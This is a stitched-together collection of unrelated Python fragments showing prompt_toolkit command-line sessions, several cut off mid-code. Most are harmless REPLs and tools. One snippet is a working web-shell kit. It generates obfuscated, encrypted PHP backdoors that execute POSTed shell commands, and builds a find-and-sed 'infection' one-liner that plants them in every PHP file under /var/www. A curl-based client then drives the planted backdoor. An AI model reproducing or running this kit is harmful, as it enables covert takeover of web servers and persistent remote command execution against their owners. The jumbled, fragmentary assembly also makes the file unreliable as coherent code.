def cli_ads_search(args): """Command-line interface for ads-search call.""" if args.next: query = None else: completer = u.KeyWordCompleter(u.ads_keywords, bm.load()) session = prompt_toolkit.PromptSession( history=FileHistory(u.BM_HISTORY_ADS())) query = session.prompt( "(Press 'tab' for autocomplete)\n", auto_suggest=u.AutoSuggestCompleter(), completer=completer, complete_while_typing=False, ).strip() if query == "" and os.path.exists(u.BM_CACHE()): query = None elif query == "": return try: am.manager(query) except ValueError as e: print(f"\nError: {str(e)}") args.bibcode = None args.key = None if args.add: print("\nAdd entry from ADS:") cli_ads_add(args) elif args.fetch or args.open: print("\nFetch/open entry from ADS:") args.keycode = None args.filename = None cli_fetch(args)
def main_loop(): global Quit, Prompt, BeginCmd, EndCmd, glbs, GC_Status Glbs = {**glbs} historyText = prompt_toolkit.history.InMemoryHistory() while not Quit: Session = prompt_toolkit.PromptSession(history=historyText, completer=XldbCompleter()) while True: try: CMD = Session.prompt(Prompt + '>', auto_suggest=prompt_toolkit.auto_suggest. AutoSuggestFromHistory()) except KeyboardInterrupt: continue except EOFError: break else: break if CMD: try: if BeginCmd: cmd(BeginCmd, Glbs=Glbs, IsTop=True) cmd(CMD, Glbs=Glbs, IsTop=True) if EndCmd: cmd(EndCmd, Glbs=Glbs, IsTop=True) if GC_Status: gc.collect() except Exception: try: if EndCmd: cmd(EndCmd, Glbs=Glbs) except: traceback.print_exc() traceback.print_exc()
class State: session = attr.ib(factory=lambda: pt.PromptSession(style=default_style), repr=False, type=pt.PromptSession) model = attr.ib(factory=lambda: obj.Model(name="<SESSION>"), type=obj.Model) def readline(self) -> str: return self.session.prompt([("class:prompt", "[pymor]>> ")]) # === END === def write_formatted( self, *contents: typing.List[typing.Tuple]) -> typing.NoReturn: pt.print_formatted_text(pt.formatted_text.FormattedText( list(contents)), style=self.session.style) # === END === def give_info(self, txt: str, kind: str = "INFO") -> typing.NoReturn: self.write_formatted( ("class:info", kind + ": "), ("", txt), ) # === END === def give_error(self, txt: str) -> typing.NoReturn: self.write_formatted( ("class:error", "ERROR: "), ("", txt), )
async def shell_client_prompt( url=None, user=None, password=None, host=None, port=None, indent=True, show_time=True, ignore_broadcasts=False, ): # Give each client a unique name to ensure the queues are unique. uid = str(uuid.uuid4()).split("-")[0] client = await ShellClient( f"shell_client_{uid}", url=url, user=user, password=password, host=host, port=port, log=None, ).start() client.indent = indent client.show_time = show_time client.ignore_broadcasts = ignore_broadcasts history = FileHistory(os.path.expanduser("~/.clu_history")) session = prompt_toolkit.PromptSession("", history=history) while True: with patch_stdout(): try: text = await session.prompt_async("") except KeyboardInterrupt: break except EOFError: break else: text = text.strip() if text.startswith("quit"): break elif text == "": continue else: chunks = text.split() if len(chunks) < 2: print(f"Invalid command {text!r}") continue actor = chunks[0] command_string = " ".join(chunks[1:]) await client.send_command(actor, command_string)
async def console(ctx: Context): session = prompt_toolkit.PromptSession() while ctx.running: with patch_stdout(): input_text = await session.prompt_async() try: ctx.commandprocessor(input_text) except: import traceback traceback.print_exc()
def __init__(self, root_cmd, prog_name, prompt=">", gui_interval=20): self.commander = pycmds.Commander(root_cmd, name=prog_name, suppress_aborts=True) self.prompt_session = pt.PromptSession(message=prompt, completer=pycmds.CmdCompleter( root_cmd, prog_name=prog_name)) self.commander.obj.prog_name = prog_name self.commander.obj.gui_interval = gui_interval
async def prompt(): session = prompt_toolkit.PromptSession() while True: with prompt_toolkit.patch_stdout(): try: cmd = await session.prompt_async("> ") except KeyboardInterrupt: continue except EOFError: break
def init_input(self): """ Executed when start/switch to the interactive mode. """ if CMDHandler._input_session: return else: CMDHandler._input_session = pt.PromptSession( history=ReadlineHistory(self.HISTORY_NAME), enable_history_search=True, )
def __init__(self): # Initialize the prompt toolkit. self.pses = ptk.PromptSession( '> ', completer=self.completer, #lexer=self.lexer, include_default_pygments_style=False, style=self.style) self.terminate = Event() self.event_loop_finished = Event()
def boot(self) -> None: self.session = prompt_toolkit.PromptSession( history=InMemoryHistory(), completer=WordCompleter(words=self.words)) self.subscribe(self.handle_input, types=TextInput) self.subscribe(self.output, types=TextOutput) self.subscribe(self.handle_command, types=TextCommand) self.subscribe(self.handle_exit, types=ExitCommand) self.subscribe(self.handle_text_command_info, types=TextCommandInfo) self.add_task(self.input_loop()) self.add_task(self.register_commands())
def event_loop(server): our_history = pt.history.FileHistory(".cmd_history") session = pt.PromptSession(history=our_history, key_bindings=bindings) actions = [('Verify the entire file', do_file), ('Verify a specific Method/Function', do_function_method), ('Verify the previous Method/Function', do_prev_function_method) ] while True: try: dispatcher(session, actions, server) except EOFError: break else: pass
def cli_ads_search(args): """Command-line interface for ads-search call.""" if args.next: querry = None else: session = prompt_toolkit.PromptSession( history=FileHistory(u.BM_HISTORY_ADS)) querry = session.prompt("(Press 'tab' for autocomplete)\n", auto_suggest=u.AutoSuggestCompleter(), completer=u.ads_completer, complete_while_typing=False).strip() if querry == "" and os.path.exists(u.BM_CACHE): querry = None elif querry == "": return am.manager(querry)
def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._output_style = None self._session = pt.PromptSession( message=self.prompt_text, history=FileHistory(cachedir / 'history.txt'), editing_mode=getattr(pt.enums.EditingMode, self.options.edit_mode.upper()), auto_suggest=AutoSuggestFromHistory(), enable_open_in_editor=True, completer=self._create_completer(), multiline=self.options.multiline, style=style_from_pygments_cls(get_style_by_name( self.options.style)), prompt_continuation=self._prompt_continuation, lexer=pt.lexers.PygmentsLexer(RollitLexer, sync_from_start=True), search_ignore_case=True, )
def prompt(self, msg): """Get input using prompt_toolkit.""" try: # prompt_toolkit v2 prompt = prompt_toolkit.PromptSession(history=self.history).prompt except AttributeError: # prompt_toolkit v1 prompt = partial(prompt_toolkit.prompt, history=self.history) return prompt( msg, multiline=self.multiline, vi_mode=self.vi_mode, wrap_lines=self.wrap_lines, enable_history_search=self.history_search, lexer=PygmentsLexer(CoconutLexer), style=style_from_pygments_cls( pygments.styles.get_style_by_name(self.style), ), )
def run() -> int: """ Traktować to podobnie, jak `if __name__=="__main__"`. Funkcja uruchomiona powinna inicjalizować działające UI. Obiekt `main.Session` powinien być generowany dla każdego użytkownika. Wystarczy używać metod tego obiektu do interakcji z programem. :return: Exit code, -1 restartuje aplikację :rtype: int """ session = engine.Session('main', 'config.json') ptk.print_formatted_text( ptk.HTML("\n".join( session.start_help() + ['Type ? to get command list; type [command]? to get help']))) console = ptk.PromptSession( message=lambda: f"{session.get_current_branch()+bool(session.get_current_branch())*' '}# ", rprompt=lambda: get_rprompt(session), complete_in_thread=True, complete_while_typing=True, completer=Autocomplete(session)) while True: command = console.prompt().strip() logger.info(f"Got a command: {command}") if command == '': logger.debug("Command empty") continue try: to_perform = parser(command, command_dict) except ParsingError as e: ptk.print_formatted_text(e) logger.debug(f"ParingError: {e}") continue except TypeError as e: ptk.print_formatted_text(f"błąd: złe argumenty") logger.debug(f"Exception caught: {e}") continue for procedure in to_perform: performed = performer(procedure, session) if isinstance(performed, tp.Generator): for i in performed: ptk.print_formatted_text(ptk.HTML(i)) else: ptk.print_formatted_text(ptk.HTML(performed))
async def console_loop(ctx: Context): session = prompt_toolkit.PromptSession() commandprocessor = ClientCommandProcessor(ctx) while not ctx.exit_event.is_set(): try: with patch_stdout(): input_text = await session.prompt_async() if ctx.input_requests > 0: ctx.input_requests -= 1 ctx.input_queue.put_nowait(input_text) continue if not input_text: continue commandprocessor(input_text) except Exception as e: logging.exception(e) await snes_flush_writes(ctx)
def main(): global currentFolder session = pt.PromptSession() while True: """App loop""" command = session.prompt(ShellString(), completer=PNOCompleter()) if command == 'exit': break command = command.split(' ', 1) command[0].lower if command[0] == 'new': DoNew(command) elif command[0] == 'open': DoOpen(command) elif command[0] == '..': currentFolder = currentFolder.parent elif command[0] == 'list': DoList() elif command[0] == 'make': DoMake(command) else: print('Invalid command')
def initialize_prompttk(self): lexer = self.guess_lexer(self.config["lang"]) if lexer is not None: completer = WordCompleter(build_completion_list(lexer)) self.lexer = PygmentsLexer(lexer) self.lexer_instance = lexer() else: completer = None self.lexer = None self.lexer_instance = None prompt_config = { "style": self.style, "lexer": self.lexer, "completer": completer, "prompt_continuation": prompt_continuation, "include_default_pygments_style": False, "enable_open_in_editor": True, "key_bindings": None, } normalized_config = dict( filter(lambda x: x[1] is not None, prompt_config.items()) ) self.sess = pt.PromptSession(**normalized_config)
async def mainloop(client): """The main input loop. This prompts for user input and dispatches it to the client. The client's communication work happens in the background, due to the magic of async tasks. (It's not a background *thread*; rather, the prompt_toolkit module knows how to yield control back to the event loop so that everything can happen cooperatively.) """ await client.open() # Create a history storage object for the command-line prompt. history = prompt_toolkit.history.InMemoryHistory() # Set up the prompt session. psession = prompt_toolkit.PromptSession(history=history) # And a callback for generating the right-hand prompt flag rprompt_func = lambda:client.ui.display_rprompt(psession) done = False while not done: try: prompt = client.ui.display_current_channel() + '> ' with prompt_toolkit.patch_stdout.patch_stdout(): input = await psession.prompt_async(prompt, rprompt=rprompt_func) input = input.rstrip() if input: client.ui.handle_input(input) except KeyboardInterrupt: print('<KeyboardInterrupt>') done = True except EOFError: print('<EOFError>') done = True await client.close()
def create_readline(): # create bindings # We handle ' ' (to right-align line numbers and indent), Backspace (to unalign and unindent), and Esc bindings = KeyBindings() @bindings.add('escape') def _(event): # TODO: somehow user must press Esc twice; not optimal b = event.current_buffer b.transform_current_line(lambda _: "") @bindings.add(' ') def _(event): global program p = re.compile('^( *)([0-9]+)$') b = event.current_buffer m = p.match(b.text) if m: # TODO: check if we are at line end -- space after line number space, no_str = m.groups() spaces_needed = 6 - len(space) - len(no_str) if spaces_needed > 0: b.delete_before_cursor(len(no_str)) b.insert_text(' ' * spaces_needed + no_str, overwrite=True) b.insert_text(' ') # insert the actual space # if line exists then bring it into the editor no = int(no_str) line = program.try_get(no) if line: b.insert_text(line, move_cursor=False) # else if it does not exist, then check the previous line and indent else: prev_no = program.line_no_before(no) indent = TheProgram.determine_indent(prev_no and program.get(prev_no)) b.insert_text(' ' * indent) else: b.insert_text(' ') # regular space @bindings.add('c-h') def _(event): p = re.compile('^( *)([0-9]+) $') b = event.current_buffer m = p.match(b.text) if m and len( b.text ) == 7: # DEL right after line number: undo leading spaces, so one can type expressions space, no_str = m.groups() b.delete_before_cursor(len(b.text)) # delete all b.insert_text(no_str) # reinsert plain number else: # delete indentation if b.text.endswith(' '): b.delete_before_cursor(4) # unindent else: b.delete_before_cursor(1) # create lexer for syntax highlighting lexer = PygmentsLexer(Python3Lexer) # create PromptSession. This is the line editor. prompt_session = prompt_toolkit.PromptSession(key_bindings=bindings, history=InMemoryHistory(), lexer=lexer) # this is the getline() function we return def readline(default, pos): return prompt_session.prompt(default=default) return readline
from cmd import * import prompt_toolkit as pt if __name__ == '__main__': cmds = { 'info' : cmd_info, 'get' : cmd_get, 'set' : cmd_set, 'start' : cmd_start, 'kill' : cmd_kill, 'help' : cmd_help, 'exit' : cmd_exit } print_welcome() nodes = load_config_file() comp = pt.completion.WordCompleter(list(cmds.keys()) + list(nodes.keys())) session = pt.PromptSession(history=pt.history.FileHistory('.demo.history'), auto_suggest=pt.auto_suggest.AutoSuggestFromHistory(), completer=comp, complete_while_typing=True) while True: user_input = str(session.prompt('>> ')).strip() if not user_input: continue words = user_input.split() func = cmds.get(words[0]) func(words, nodes) if func else cmd_unknown(words)
async def cli(self): script_commands = [] if len(sys.argv) > 2 and sys.argv[1] == 'exec': script_commands.extend(x.strip() for x in ' '.join(sys.argv[2:]).split(',')) toggle_advanced_mode() session = prompt_toolkit.PromptSession() while self.running: if script_commands: text = script_commands.pop(0) else: try: text = await session.prompt(u'Scan> ', completer=WordCompleter( commands, ignore_case=True, match_middle=False), async_=True) except CancelledError: return except EOFError: self.stop() return start_execution_ts = time() if self.running: if text.strip(): orig_text = text if ' ' in text: params = text.split() text = params[0] params = [x.strip() for x in params[1:]] else: params = () text = text.strip() if text == "exec": script_commands[:] = [ x.strip() for x in ' '.join(params).split(',') if x.strip() ] continue try: if text == "exit": self.stop() return t = commands[text](*params) if isinstance(t, GuiFeedback): t.run(self) if t != 3: print("") except KeyboardInterrupt: gui.clear() print("\nAborted!") except KeyError: print("Command not found: %s" % text) except Exception as e: gui.clear() print("") if DEBUG: traceback.print_exc() else: print("Error occured") else: duration = time() - start_execution_ts if duration > 1: print("Command %s executed in %ds" % (text, s2h(duration)))
def cli_search(args): """Command-line interface for search call.""" session = prompt_toolkit.PromptSession( history=FileHistory(u.BM_HISTORY_SEARCH)) inputs = session.prompt("(Press 'tab' for autocomplete)\n", auto_suggest=u.AutoSuggestCompleter(), completer=u.search_completer, complete_while_typing=False) # Parse inputs: authors = re.findall(r'author:"([^"]+)', inputs) title_kw = re.findall(r'title:"([^"]+)', inputs) years = re.search(r'year:[\s]*([^\s]+)', inputs) key = re.findall(r'key:[\s]*([^\s]+)', inputs) bibcode = re.findall(r'bibcode:[\s]*([^\s]+)', inputs) if years is not None: years = years.group(1) if len(key) == 0: key = None if len(bibcode) == 0: bibcode = None # Cast year string to integer or list of integers: if years is None: pass elif len(years) == 4 and years.isnumeric(): years = int(years) elif len(years) == 5 and years.startswith('-') and years[1:].isnumeric(): years = [0, int(years[1:])] elif len(years) == 5 and years.endswith('-') and years[0:4].isnumeric(): years = [int(years[0:4]), 9999] elif len(years) == 9 and years[0:4].isnumeric() and years[5:].isnumeric(): years = [int(years[0:4]), int(years[5:9])] else: print(f"\nInvalid format for input year: {years}") return if (len(authors) == 0 and len(title_kw) == 0 and years is None and key is None and bibcode is None): return matches = bm.search(authors, years, title_kw, key, bibcode) # Display outputs depending on the verb level: if args.verb >= 3: bm.display_bibs(labels=None, bibs=matches) return for match in matches: title = textwrap.fill(f"Title: {match.title}, {match.year}", width=78, subsequent_indent=' ') authors = textwrap.fill( "Authors: " f"{match.get_authors(short=args.verb<2)}", width=78, subsequent_indent=' ') keys = f"\nkey: {match.key}" if args.verb > 0 and match.eprint is not None: keys = f"\narXiv url: http://arxiv.org/abs/{match.eprint}{keys}" if args.verb > 0 and match.adsurl is not None: keys = f"\nADS url: {match.adsurl}{keys}" keys = f"\nbibcode: {match.bibcode}{keys}" print(f"\n{title}\n{authors}{keys}")
def __main__(): invocation_parser = argparse.ArgumentParser() invocation_subparsers = invocation_parser.add_subparsers(dest="command") open_parser = invocation_subparsers.add_parser("open") open_parser.add_argument("luggage_path") create_parser = invocation_subparsers.add_parser("create") create_parser.add_argument("luggage_path") options = invocation_parser.parse_args() if options.command is None: invocation_parser.print_help() print() print("Error: Insufficient commands\n") sys.exit(-1) elif options.command == "open": passphrase = getpass.getpass("Passphrase: ") try: luggage = cryptoluggage.Luggage(path=os.path.expanduser( options.luggage_path), passphrase=passphrase) except cryptoluggage.BadPasswordOrCorruptedException: print(f"Cannot open {options.luggage_path}. Is the password OK?") sys.exit(-1) elif options.command == "create": passphrase = getpass.getpass("Passphrase: ") confirmed_passphrase = getpass.getpass("Confirm passphrase: ") if passphrase == confirmed_passphrase: luggage = cryptoluggage.Luggage.create_new(path=os.path.expanduser( options.luggage_path), passphrase=passphrase) else: print("Passwords do not match. Try again.") sys.exit(-1) else: raise RuntimeError(f"Unrecognized command {options.command}") del options index = 0 speed = 1 session = prompt_toolkit.PromptSession() main = Main(luggage=luggage) while True: try: prompt = "Luggage" formatted_text = prompt_toolkit.formatted_text.FormattedText([ ("#ffe37d bold", "◐ "), ("#aaaaaa bold", prompt[:index]), ("#ff5500 bold", prompt[index]), ("#aaaaaa bold", prompt[index + 1:]), ("#ffe37d bold", " ◑ "), ]) index += speed speed = -speed if not 0 < index < len(prompt) - 1 else speed commands = shlex.split( session.prompt(formatted_text, auto_suggest=prompt_toolkit.auto_suggest. AutoSuggestFromHistory())) if not commands: continue try: r = main.fire(commands[0], *commands[1:]) except CommandNotFoundError: main.print_help() print(f"Command {commands[0]} not found.") except InvalidParametersError: print(f"Invalid parameters for {commands[0]}.") # except KeyError as ex: # main.print_help() # print(f"Key {ex} not found.\nUsage:") # except TypeError as ex: # main.print_help() # print(f"{type(ex)}: {ex}") # raise ex except (KeyboardInterrupt, EOFError): main.exit_luggage()
""" import argparse import queue import sys import threading import time import xml.etree.ElementTree import mido try: import prompt_toolkit except ImportError: prompt_session = None else: prompt_session = prompt_toolkit.PromptSession( history=prompt_toolkit.history.InMemoryHistory(), auto_suggest=prompt_toolkit.auto_suggest.AutoSuggestFromHistory(), ) def prompt(text): if prompt_session: return prompt_session.prompt(text) return input(text) MSG_SYSEX1 = mido.Message.from_bytes([0xF0, 0x00, 0x20, 0x7F, 0x00, 0xF7]) MSG_SYSEX2 = mido.Message.from_bytes([0xF0, 0x00, 0x20, 0x7F, 0x01, 0xF7]) MSG_SERATO_KEEPALIVE = mido.Message.from_bytes([0xBF, 0x64, 0x00]) def load_descriptions(filename):
def cmdloop(self, _=None): # Unfortunately, these thing don't appear to run in a thread that can # interrupt the solver. bindings = prompt_toolkit.key_binding.KeyBindings() @bindings.add('f4') def _(event): """ When F4 has been pressed. Insert "hello world" as text. """ #event.app.current_buffer.insert_text('hello world') #print('user hit the f4 key') self.interp.toggle_verbose(True) # TODO: Bottom tool bar is not update in a thread. #def get_toolbar(): # if self.interp.deadline is not None: # return f'Solver will timeout in {self.interp.deadline - time():g} seconds' interp = self.interp # remove from completions: pyscript py alias macro EOF eos set exit _relative_load shortcuts quit commands = {x[3:] for x in dir(self) if x.startswith('do_')} # TODO: create a little mini-framework to completions for different # commands; basically call any `complete_{command}` method that exists. parse_cmd = self.parse_cmd class SlowCompleter(Completer): """ This is a completer that's very slow. """ def __init__(self): self.loading = 0 def get_completions(self, document, complete_event): # Keep count of how many completion generators are running. self.loading += 1 word_before_cursor = document.get_word_before_cursor() # TODO: add other operators to the set of completions? words = { 'for', } from dyna.aggregators import AGGREGATORS words.update(AGGREGATORS.keys()) words.update(commands) words.update( name for (name, arity) in dyna_system.terms_as_defined.keys()) # TODO: add REPL commands to the completions list # words.update(AGG) # words.update(f for (f,_) in interp.functors) # words.update(name for name in commands) try: x = parse_cmd(document.text_before_cursor) if x is not None: (cmd, args) = x if cmd == 'load': hacked_text = args yield from prompt_toolkit.completion.filesystem.PathCompleter( ).get_completions( prompt_toolkit.document.Document(hacked_text), complete_event) return for word in words: if word.startswith(word_before_cursor): #time.sleep(.2) # Simulate slowness. yield Completion(word, -len(word_before_cursor)) finally: # We use try/finally because this generator can be closed if the # input text changes before all completions are generated. self.loading -= 1 # TODO: create a little method annotation framework to make this easier # to specify and maintain. Basically, use argument annotations and make # sure that we have a method successfully runs the string->target type # conversion. When we call the method we can use the same stuff except # we'll actually call the method with the converted (and validated # type). validated_as_query = False def validate(text): nonlocal validated_as_query validated_as_query = False x = self.parse_cmd(text) if x is None: return cmd, args = x if cmd == 'load': return True try: if cmd in ('query', 'flush', 'memos', 'agenda', 'state'): if args: term(args) if cmd == '': if args: run_parser(args) except DynaParserException: # try to see if this can validate as a query # this should probably just work? try: run_parser(f'{text} ?') validated_as_query = True return True except DynaParserException: pass return False return True session = prompt_toolkit.PromptSession( lexer=prompt_toolkit.lexers.PygmentsLexer(DynaLexer), completer=SlowCompleter(), complete_in_thread=True, complete_while_typing=True, #bottom_toolbar = bottom_toolbar, complete_style=CompleteStyle.MULTI_COLUMN, #style = style, style=prompt_toolkit.styles.style_from_pygments_cls( pygments.styles.get_style_by_name('paraiso-dark') ), # maybes: paraiso-light, paraiso-dark, arduino, igor, abap, vs history=prompt_toolkit.history.FileHistory(self.hist_file), enable_history_search=True, auto_suggest=prompt_toolkit.auto_suggest.AutoSuggestFromHistory(), key_bindings=bindings, #bottom_toolbar = get_toolbar, refresh_interval = .25, validator=Validator.from_callable( validate, #error_message='Not a valid e-mail address (Does not contain an @).', move_cursor_to_end=True), #validate_while_typing = True, validate_while_typing=False, ) has_agenda_work = False while True: if bool(dyna_system.agenda ) and not has_agenda_work and not self.suggested_prompt: self.suggested_prompt = 'run_agenda ' has_agenda_work = bool(dyna_system.agenda) try: suggest = self.suggested_prompt self.suggested_prompt = None text = session.prompt( ANSI(('(agenda has pending work) ' if has_agenda_work else '') + '\x1b[31m$>\x1b[0m '), **({ 'default': suggest } if suggest else {})) except KeyboardInterrupt: print('^C') continue # Control-C pressed. Try again. except EOFError: break # Control-D pressed. try: if validated_as_query: user_query(text) else: self.runcmd(text) except KeyboardInterrupt: print('^C') self.excpt = sys.exc_info() continue # Control-C pressed. Try again. except Exception as err: self.excpt = sys.exc_info() print(colors.red % ''.join(traceback.format_exception(*self.excpt))) if isinstance(err, DynaSolverError): print(colors.yellow % err) if hasattr(err, 'suggest'): self.suggested_prompt = err.suggest
def main(): examples = ''' ------------------------------------------------------------------------------- Usage Examples ------------------------------------------------------------------------------- # Use -g (--generate ) to create a PHP backdoor and write it to STDOUT. # The command to connect to it is written to STDERR and should be saved. Recommended: # Generate a password-protected, encrypted, obfuscated PHP backdoor # When possible, -p and -k should always be used. {0} -p -k -o --generate Minimal: # Generate a simple, unauthenticated PHP backdoor with no bells or whistles {0} --generate sed friendly: {0} -p -o -r --generate For passing to other obfuscators / cryptors / encoders: {0} -p -k -r --generate Standalone, heavily obfuscated backdoor page: {0} -p -k -oooo --generate Generate infection oneliner: # Run on attacker's machine # It will output the command to run on the victim's machine # NOTE: -o and -p are HIGHLY recommended in this mode to avoid quoting issues and preserve site functionality. {0} -p -k -o -i '''.format(__file__) parser = argparse.ArgumentParser( description='A simple client to communicate with custom PHP backdoors', epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('-u', "--url", help="The url of the backdoored page") parser.add_argument( '-g', "--generate", action="store_true", help="Generate a PHP backdoor with a random password and exit.") parser.add_argument( '-a', "--agent", default= 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', required=False, help="The User Agent String to use") parser.add_argument( '-p', "--password", default="", const=rand_pass(), action='store', nargs='?', help= "A disposable password to activate the backdoor. If -p and --generate are set, but no password is provided, a random one will be generated. If you are connecting to an existing backdoor, you must use the same password it was generated with" ) parser.add_argument( '-t', "--password_key", default="token", help="The POST key that will contain the password value. Default: token" ) parser.add_argument( '-c', "--cmd_key", default="id", help="The POST key that will contain the command value. Default: id") parser.add_argument( "-o", "--obfuscate", default=0, action="count", help= "Obfuscate PHP backdoor. Use add more o's to increase obfuscation (and size). Use with --generate" ) parser.add_argument( "-v", "--verbose", default=0, action="count", help= "Add additional output for debugging (keys used, size of data, etc.)") parser.add_argument( "-k", "--key", default="", const=rand_pass(), action='store', nargs='?', help= "Encrypt communications. If -k and --generate are set but no key is provided, a random one will be generated. If you are connecting to an existing backdoor, you must use the same key it was generated with" ) parser.add_argument( "-r", "--raw", action="store_true", help="Output only raw PHP code without PHP tags. Use with --generate") parser.add_argument( "-m", "--manual", action="store_true", help= "By default, every command sent will be wrapped like this for convenience: EXECUTABLE -c 'exec 2>&1; CMD'. This option disables this behavior. WARNING: any uncaptured error messages will be written to /var/log/apache2/error.log in plaintext, so use this option carefully." ) parser.add_argument( "-e", "--executable", default="/bin/bash", help= "The executable to use when running commands on the victim. Default is /bin/bash. Use with -m" ) parser.add_argument( "-i", "--infect", action="store_true", help= "Generate an infection command that can be run on a victim's machine to backdoor existing webpages." ) args = parser.parse_args() if not any([args.url, args.generate, args.infect]): print( "At least one of -u (--url), -g (--generate), -i (--infect) must be set" ) parser.print_help() sys.exit(1) if args.infect: args.generate = args.infect if args.generate: php = """echo {EXEC_CMD};""" cryptor = """function e($key, $str) { $s = array(); for ($i = 0; $i < 256; $i++) { $s[$i] = $i; } $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $res = ''; for ($y = 0; $y < strlen($str); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $res; }; """.replace("\n", "").replace(" ", "") #TODO Refactor exec_cmd = "shell_exec({})" get_cmd = "base64_decode($_POST['{CMD_KEY}'])".replace( "{CMD_KEY}", args.cmd_key) get_key = "" if args.key: get_key = r'$k=explode("\n", e("{}", {}), 2)[0];$d=substr({}, strlen($k)+1);'.format( args.key, get_cmd, get_cmd) exec_cmd = "e({}, {})".format("$k", exec_cmd) get_cmd = "e({}, {})".format("$k", "$d") php = get_key + php.replace( "{EXEC_CMD}", "base64_encode({})".format(exec_cmd.format(get_cmd))) #if args.encode: # php = "eval(base64_decode('{}'));".format(base64.b64encode(php.encode()).decode()) for i in range(args.obfuscate): k = rand_pass() encoded = base64.b64encode(encrypt(k, php)).decode() if args.obfuscate > 2: chunk_len = 16 chunks = [(i, rand_pass(size=6, use_digits=False), encoded[i:i + chunk_len]) for i in range(0, len(encoded), chunk_len)] random.shuffle(chunks) tmp = "" for i in range(len(chunks)): tmp = tmp + "${}='{}';\n".format(chunks[i][1], chunks[i][2]) php = tmp #+ cryptor encoded = "$" + ".$".join([c[1] for c in sorted(chunks)]) else: encoded = "'{}'".format(encoded) php = "" #cryptor php = php + "eval(e('{}', base64_decode({})));".format(k, encoded) php = "eval(base64_decode('{}'));".format( base64.b64encode(php.encode()).decode()) if args.key or args.obfuscate: php = cryptor + php php = "error_reporting(0);{}exit(0);".format(php) if args.password: php = "if({CHECK_PASS}){ {PHP} };".replace("{PHP}", php) php = php.replace( "{CHECK_PASS}", "isset($_POST['{TOKEN}']) && hash('sha256', $_POST['{TOKEN}']) == '{PASSWORD_HASH}'" ) php = php.replace("{PASSWORD_HASH}", hashlib.sha256(args.password.encode()).hexdigest()) php = php.replace("{CMD_KEY}", args.cmd_key) php = php.replace("{TOKEN}", args.password_key) if args.obfuscate: php = "eval(base64_decode('{}'));".format( base64.b64encode(php.encode()).decode()) if args.infect: # find /var/www/ -name '*.php' | while read -r f; do sed -i 's|<?php|<?php $(./php_shell.py -p -o -r --generate | sed 's/\&/\\&/g' | sed """s/\x27/\x27\x5c\x27\x27/g""")|' \$f ; done finder = "find /var/www/ -name '*.php' | while read -r f; do {} ; done" sed = 'sed -i {}' pattern = 's|<?php|<?php {}|' for c in '&': php = php.replace(c, '\\' + c) replacement = php print(pattern.format(replacement)) pattern = shlex.quote(pattern.format(replacement)) + ' $f' php = finder.format(sed.format(pattern)) else: if not args.raw: php = "<?php {} ?>".format(php.strip('\r\n \t')) if not args.url: args.url = colored.fg("red") + "URL" + colored.fg("light_yellow") usage = __file__ + " -u {} -c {}".format(args.url, args.cmd_key) if args.password: usage = usage + " -p {} -t {}".format(args.password, args.password_key) if args.key: usage = usage + " -k {}".format(args.key) sys.stderr.write( colored.fg("light_yellow") + usage + colored.attr("reset") + "\n") sys.stderr.flush() print(php) return template = """curl -s -k -A '{}' -d "{}={}&{}={}" {}""".format( args.agent, args.password_key, args.password, args.cmd_key, "{}", args.url) session = prompt_toolkit.PromptSession() def run(cmd, key=None): if args.verbose > 0: print("Sending: {}".format(cmd)) output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, executable='/bin/bash') if args.verbose > 0: print("{} raw bytes received".format(len(output))) output = base64.b64decode(output) if key: output = decrypt(key, output) if args.verbose > 0: print("{} plaintext bytes received".format(len( output.decode()))) return output.decode() while True: try: with patch_stdout(): cmd = session.prompt(">") #.rstrip("\n") if not args.manual: cmd = "{} -c {}".format( args.executable, shlex.quote("exec 2>&1; {}".format(cmd))) tmp_key = None if args.key: #print(args.key) tmp_key = rand_pass(size=random.randint(32, 128)) if args.verbose > 0: print("tmp_key ({}): {}".format(len(tmp_key), tmp_key)) cmd = encrypt(args.key, tmp_key + "\n") + encrypt( tmp_key, cmd) else: cmd = cmd.encode() tmp = "".join("\\" + hex(c)[1:] for c in cmd) #print(tmp) #cmd = "$'{}'".format(tmp) #print("CMD ({} bytes): {}".format(len(cmd), cmd)) cmd = base64.b64encode(cmd).decode() #print("Base64: {}".format(cmd)) cmd = urllib.parse.quote_plus(cmd) output = run(template.format(cmd), tmp_key) print(output) except Exception as e: import traceback traceback.print_exc() print(e)
⣿⣿⣿⣿⣿⣶⣄⠉⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣉⣤⣶⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣤⣈⡉⠉⠛⣋⣉⣉⣤⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿'''+Fore.RESET+''' This is not a script. This is library. You cannot run it s/c. ''' if(len(sys.argv) > 1 and sys.argv[1] == "debugger"): Logger("Debugger initialized.", CT.WARN) oprint("Debugger for Elvex SOCIAL v"+str(version)+", act8team.\nVisit act8team.com for more information.") import curses isFormattedError = True isDebugger = True history = prompt_toolkit.history.InMemoryHistory() CompleterLoad() session = prompt_toolkit.PromptSession( history=history, auto_suggest=prompt_toolkit.auto_suggest.AutoSuggestFromHistory(), enable_history_search=True) validator = prompt_toolkit.validation.Validator.from_callable(is_valid_command, error_message='Not a valid function. (Cannot be executed)', move_cursor_to_end=True) while(True): oprint(Fore.CYAN+ '> '+Fore.RESET,end='') if(isFormattedError): a = session.prompt(' ', validator=validator, validate_while_typing=True) try: eval(a) except Exception as e: print(str(e), CT.ERROR) else: a = input() eval(a) elif(__name__ == "__main__"): try:
